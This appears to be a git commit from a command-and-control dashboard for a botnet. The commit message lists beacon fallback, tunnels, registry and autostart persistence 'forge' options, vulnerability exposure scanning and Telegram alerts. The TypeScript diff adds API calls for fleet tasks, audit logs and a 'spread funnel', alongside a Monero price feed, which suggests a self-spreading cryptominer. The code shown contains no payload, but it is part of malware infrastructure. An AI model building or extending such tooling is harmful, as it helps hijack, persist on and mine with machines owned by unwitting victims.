feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/web/src/api/client.ts

@@ -207,6 +207,14 @@ export const api = {
   // XMR market price (server-side CoinGecko cache, refreshed every 10 min)
   getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
 
+  getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
+  getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
+  saveFleetTask: (task: import('../types').FleetTask) =>
+    fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
+  deleteFleetTask: (id: string) =>
+    fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
+  getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
+
   // Path Tracer — WireGuard VPN chain sessions
   startTrace: (agentIds: string[]) =>
     fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {